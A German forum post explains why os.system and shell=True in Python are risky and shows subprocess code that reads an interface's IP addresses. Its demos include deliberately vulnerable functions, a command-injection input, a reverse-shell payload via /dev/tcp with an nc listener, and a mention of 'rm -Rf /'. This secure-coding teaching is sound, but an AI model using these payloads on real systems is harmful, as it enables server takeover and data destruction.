Wer os.system immer noch nutzt, hat die Dokumentation nicht gelesen. Ich mache nicht denjenigen einen Vorwurf, die Python nicht als Hauptsprache verwenden, sondern denjenigen, die andauernd falsche Anleitungen schreiben.
Beispiel mit typehints:
import json
import subprocess
from ipaddress import ip_address, IPv4Address, IPv6Address
from typing import Generator, Literal
IP_VERSION = Literal[4, 6]
LOCAL_IP = Generator[IPv4Address | IPv6Address, None, None]
def local_ip(interface: str, version: IP_VERSION = 4) -> LOCAL_IP:
if version not in (4, 6):
raise ValueError("Version 4 oder 6 ist zulässig")
result = json.loads(
subprocess.run(
["ip", f"-{version}", "-j", "address", "show", "dev", interface],
capture_output=True,
encoding="utf8",
).stdout
)
for entry in result:
for addr in entry.get("addr_info", []):
if ip := addr.get("local"):
yield ip_address(ip)
ipv4 = list(local_ip("wlan0", 4))
ipv6 = list(local_ip("wlan0", 6))
print(ipv4)
print(ipv6)
Display More
Ohne typehints:
import json
import subprocess
from ipaddress import ip_address, IPv4Address, IPv6Address
def local_ip(interface, version=4):
if version not in (4, 6):
raise ValueError("Version 4 oder 6 ist zulässig")
result = json.loads(
subprocess.run(
["ip", f"-{version}", "-j", "address", "show", "dev", interface],
capture_output=True,
encoding="utf8",
).stdout
)
for entry in result:
for addr in entry.get("addr_info", []):
if ip := addr.get("local"):
yield ip_address(ip)
ipv4 = list(local_ip("wlan0", 4))
ipv6 = list(local_ip("wlan0", 6))
print(ipv4)
print(ipv6)
Display More
Und falls du das als str und nicht als IPv4Address oder IPv6Address benötigst, ist es kürzer:
import json
import subprocess
def local_ip(interface, version=4):
if version not in (4, 6):
raise ValueError("Version 4 oder 6 ist zulässig")
result = json.loads(
subprocess.run(
["ip", f"-{version}", "-j", "address", "show", "dev", interface],
capture_output=True,
encoding="utf8",
).stdout
)
for entry in result:
for addr in entry.get("addr_info", []):
if ip := addr.get("local"):
yield ip
ipv4 = list(local_ip("wlan0", 4))
ipv6 = list(local_ip("wlan0", 6))
print(ipv4)
print(ipv6)
Display More
Anmerkung: Ein Interface kann keine, eine oder sogar mehrere IP-Adressen haben. Der Befehl ip stammt aus dem Paket iproute2 und unterstützt die Ausgabe im Json-Format, dass geeignet ist von sämtlichen vorhandenen Sprachen geparst zu werden.
Die Verwendung von os.system ist sinnlos, da man dann nicht an die Ausgabe kommt, sondern lediglich den Rückgabewert des zuvor ausgeführten Programms. Eine 0 bedeutet immer, dass alles OK war. Zusätzlich erlaubt os.system nette Hacks.
import os
def hackme():
print(
(
"Funktion soll Verzeichnisinhalt auflisten "
"und der Nutzer soll vorher einen Pfad angeben. "
"Dieser Pfad wird dann mittels string-formatting "
"zum Befehl hinzugefügt."
)
)
befehl = "ls {}" # <- Dateien auflisten
print("HACK: /; uname -a")
pfad = input("Bitte Pfad eingeben: ") or "."
os.system(befehl.format(pfad))
hackme()
Display More
Wenn man z.B. /; uname -a eingibt, wird zuerst ls / und dann uname -a ausgeführt. Das am besten noch hinter einem Webserver im Internet zugänglich machen, um damit jemand anderes den Server übernehmen kann (ist schon passiert).
subprocess.Popen(..., shell=True) ist genauso gefährlich. Der Unterschied ist, dass man auf die Standardausgabe zugreifen kann.
Der weiterer Grund, wieso viele os.system bzw. shell=True nutzen, ist die pure Faulheit. Die Leute sind einfach zu faul, eckige Klammern und Anführungszeichen einzugeben. Das sollte man sich aber angewöhnen, da man damit eine viel bessere Kontrolle hat. Ansonsten interpretiert die Shell den String, was dann zu diesem fatalen Ergebnis führt. Der Befehl uname -a könnte auch ein rm -Rf / sein, der das komplette Dateisystem löscht. Das ist natürlich etwas doof. Die Hacker verwenden lieber eine Reverse-Shell, um alles zu machen.
import os
def hackme():
print("Demo einer Reverse-Shell")
print(
(
"Funktion soll Verzeichnisinhalt auflisten "
"und der Nutzer soll vorher einen Pfad angeben. "
"Dieser Pfad wird dann mittels string-formatting "
"zum Befehl hinzugefügt."
)
)
print("1) Lokalen Server starten: nc -lvnp 12345")
# https://www.revshells.com/
print("2) Eingabe: /; sh -i >& /dev/tcp/127.0.0.1/12345 0>&1")
befehl = "ls {}" # <- Dateien auflisten
pfad = input("Bitte Pfad eingeben: ") or "."
os.system(befehl.format(pfad))
hackme()
# Ausgabe:
#
# [andre@andre-Fujitsu-i5 ~]$ nc -lvnp 12345
# Connection from 127.0.0.1:55888
# sh-5.1$ whoami
# whoami
# andre
# sh-5.1$
Display More